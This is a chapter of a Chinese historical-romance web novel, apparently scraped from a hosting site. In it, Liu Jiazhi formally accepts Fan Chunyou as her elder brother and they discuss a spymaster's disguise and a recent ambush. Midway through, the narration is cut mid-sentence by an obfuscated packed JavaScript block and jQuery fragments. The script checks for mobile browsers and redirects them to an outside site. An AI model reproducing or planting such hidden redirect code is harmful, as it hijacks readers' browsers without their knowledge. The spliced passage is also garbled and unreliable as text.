84. 与兄交心

作品:《在庆历四年春当万人迷

    “是我。”


    范纯祐沉默了片刻,随即也勾了勾唇角,终是松了口气般,承认了:


    “那日从城郊回府,路过梅园,见你正替公主拢斗篷,模样和在宫宴上远远望见的神似,便多瞧了两眼。”


    范纯祐话音落,柳嘉之的手轻轻一顿,眼底闪过丝恍惚。


    宫宴?那好像是很久远的事了,远得像上辈子的片段。


    柳嘉之垂眸浅浅笑了笑,语气里带着点感慨:“宫宴……我都快忘了,没成想倒是好好出了一次风头。”


    “如今想来,还真是有缘。”她抬眼看向范纯祐,眼底的笑意温温柔柔,“从前在宫宴上远远相望,如今你成了我的大哥,还肯耐着性子教我武功,这缘分,说起来倒有些不可思议。”


    说着,她执起茶壶,重新给范纯祐空了的茶杯斟满热茶,氤氲起薄薄的水汽。


    柳嘉之双手端着茶杯,坐直了身子,稳稳地往范纯祐面前递去,语气比方才更显郑重:


    “不管怎么说,细想来,我总该敬你一杯茶。”


    *


    范纯祐望着她这副认真的模样,倒有些怔了。


    他原本要抬起的手顿在半空,终究没去接那杯茶,只凝着她,眉梢轻蹙:“何出此言?”


    柳嘉之见他没接,也不收回手,只迎着范纯祐的目光,唇角慢慢绽开一抹浅淡却坚定的笑:


    “这杯茶,是柳嘉之敬师父,更是敬大哥的。”


    她顿了顿,一字一句道:


    “从前是范柔嘉,现在是柳嘉之。今日起,你认识的,是完整我。”


    “这是你我第一次正式以这样的的身份相对,”她微微抬了抬手中的茶杯,眼神恳切,“柳嘉之,敬师父,也敬大哥。”


    没错,这次是真心认了这个大哥。


    从前她模糊着,像个隔着雾看风景的人,就算得知本名【柳嘉之】,也不尽真切。


    从递出这杯茶开始,她是完完整整的自己,真正走进这个家,像沅儿依赖她那样依赖他们;像敬重师父那样敬重他;像对待真正的家人那样,做范家的一份子。


    *


    范纯祐望着她托着茶杯的手,眼底的疑惑慢慢沉下去。


    他忽然想起父亲说过的:“等她想起一切,若还愿留在范家,依旧是你五妹妹。”


    若愿留,是五妹妹;不愿留,那就是此生不见……


    这些日子,他总在矛盾:既盼着她记起一切,清明开心地过日子;又怕她记起后,离开范家,回到属于她自己的天地。


    他甚至常对着书房那页【明知寒极,偏待梅开】的字迹发呆,想梅园里温柔但心事重重的她,想宫宴上远远望见的她,想她究竟该是什么模样。


    可此刻,看着柳嘉之眼底那份不躲不闪的坦诚,那样地笃定,他忽然释然了。


    范纯祐喉结轻轻滚动了一下,伸出手,稳稳接过那杯茶。同时抬眼看向柳嘉之,眼底的复杂情绪渐渐散去,只剩温和的笑意。


    没有多余的话,他仰头,将杯中茶一饮而尽。


    就像他题的诗里写的,梅本就该在寒极中绽放,她也本就该是这般模样。


    *


    茶盏放回案上,发出清脆之声。


    范纯祐望着柳嘉之,带着笑意缓缓开口:


    “父亲常说,晏相公看中的女子,有经世之才、晏相之风。如今,这位女子成了我的五妹妹,倒是我范家的幸事。”


    柳嘉之闻言一怔,随即垂眸笑了笑,语气赧然:


    “范大人竟这样抬举我,实在不敢当。晏相是何等人物,我这点微末见识,哪里当得起有其之风?说起来,倒是要愧领这份夸赞了。”


    “姑娘当得起。”范纯祐语气笃定,“我看过你写的手札,里面对北辽岁币的指摘、对朝局的考量,句句切中要害,皆有章法,绝非寻常女子能及。”


    柳嘉之听罢,便轻轻摇了摇头:“大哥,往后你和晏井承一样,叫我小之就好。”


    “晏井承?”范纯祐念着这三个字,原本温和的神色忽然一凝。


    *


    他自小跟着父亲在府衙、朝堂间打转,处理各类文书事务时,自然听过暗阁阁主的名号。


    知道那是官家倚重,专管隐秘要务的人物。只是从未想过,这位神秘阁主,竟就是此前化名柳长风、与叶家议亲的晏井承。


    更没料到,这位阁主,如今竟以表兄的身份要跟着他们去邠州。


    思绪陡然翻涌,他猛地想起数月前的事:柳长风与叶家议亲当日,叶家便因【勾结北辽、贪图岁币】被抄家,当时只当是巧合。


    如今想来,那议亲怕根本是官家的旨意,是为了顺理成章查探叶家罪证的一步棋。


    见范纯祐这般思忖着,柳嘉之便轻轻叹了口气,缓缓开口:


    “其实……我与晏井承的渊源,比大哥想的要深些。”


    她从晏井承在益州收留她讲起,说他如何替她着想,如何带着她将州江楼开得红火。


    末了,语气陡然沉了沉,带着未散的恼意:


    “他先前化名柳长风,和叶家小姐议亲,我在街上撞见,狼狈不堪,他竟装作不认识我,转头就和那叶家小姐说笑……”


    *


    范纯祐静静听着,眉头越蹙越紧。


    片刻,他总算理清了前因后果:晏井承扮柳长风议亲是为查案,装作不认识是怕暴露身份,可偏偏因此害她病重、不得不假死,这般行事,确实欠妥。


    他气晏井承行事不顾及她的感受,可转念一想,若不是这番波折,她也不会来到范家,不会成为他的五妹妹。这般矛盾的心思压在心头,竟生出几分无可奈何。


    待柳嘉之气势汹汹说完,他缓缓开口:


    “小之,你先别气。晏井承这般做,大抵是身不由己。暗阁查案向来隐秘,他扮作柳长风,又与叶家定亲,怕是早有部署,那时若认了你,不仅会毁了查案的事,说不定还会连累你。”


    柳嘉之没料到他会帮晏井承说话,顿时愣住了,随即笑道:


    “你可是我的大哥,是我的娘家人,怎么现在就开始帮着他说话了?”


    见范纯祐还没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304658|177258||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来得及反应,柳嘉之眨了眨眼,忽然笑了出来。


    范纯祐望着她明朗的笑意,唇角也不自觉地弯起。在案上的热茶冒着的轻烟里,两人相视一笑。


    *


    笑罢,柳嘉之故意凑近了些,狡黠调笑道:


    “说起来,先前你知道我有个柳大哥时,还悄悄生过气呢。还问我究竟谁才是我的真大哥,像个孩子。”


    她顿了顿,杏眼里盛着认真的光:


    “现在你该放心啦,那柳大哥是假的,是晏井承扮的。往后,你才是我唯一的大哥,永远都是。”


    范纯祐听着这话,心头猛地一沉,空落落的感觉顺着四肢漫开。


    他望着眼前坦诚鲜活的柳嘉之,原来,自己先前偷偷介意的柳大哥,从开始就赢他了。


    但那又何妨?


    他抬手,轻轻抚摸了她的发顶,声音温和:“好,永远都是。”


    此刻安稳,此刻信赖,此刻她是五妹妹,便够了。


    *


    茶烟渐渐散了,柳嘉之放下了微凉的茶盏,忽然想起正事:


    “大哥,我如今记起了过往,也理清了手札里的那些章法。我们何时动身去邠州跟他们汇合?我凭着这些,定要尽全力助范大人一臂之力,总不能一直受范家照拂,却什么都不做。”


    范纯祐听她这般说,温和开口:“不急。”


    “府衙还扣着之前抓的那个人贩子,明日才会开审。那伙人背后牵扯的事不简单,等审案有了结果我们再动身,这样才能更有方向,也不算辜负你这份想帮衬的心意。”


    柳嘉之闻言,点头应道:“大哥说得是,是该等消息定了再走。”


    说罢,她忽然想起又想起些什么,急切道:


    “对了大哥,那日官道上,先是有人跟踪引你和三哥追出去,随后就有蒙面人突袭马车。后来查了吗?那伙刺客到底是什么来头?”


    范纯祐脸色沉了沉,缓缓点头:


    “查了些眉目,当地府衙那边称,这伙人是一伙贼匪,之所以行动,是为给你那晚抓的小毛贼报仇。”


    柳嘉之眉头轻蹙,“小毛贼?他们那么多人,一看就是有预谋的刺杀,怎么可能只是区区贼匪?”


    范纯祐带着肯定点点头,“那伙人确是有备而来,先故意露行踪引开我和三弟,再趁车马无措时动手,目标很明确,就是冲你去的。”


    “冲我?”柳嘉之眼底满是疑惑,下意识追问,“可我除了先前州江楼那点事,没得罪过什么人。而且他们敢在光天化日下调虎离山,还敢对朝廷命官动手,身手又利落,不像是寻常劫匪或寻仇的,莫非……”


    范纯祐打断她的胡乱猜测:


    “目前还不能确定,但绝非简单的江湖团伙。那伙人用的暗器和招式,像是受过专门训练的。等明日审完那个人贩子,若能牵出些线索,或许能和这刺客的事对上。”


    “但如果不是一档子事……”


    “我懂你的顾虑,我和纯仁也想到了。我们已在那边留了人盯着,一旦有新的线索,他们会立刻来通报。”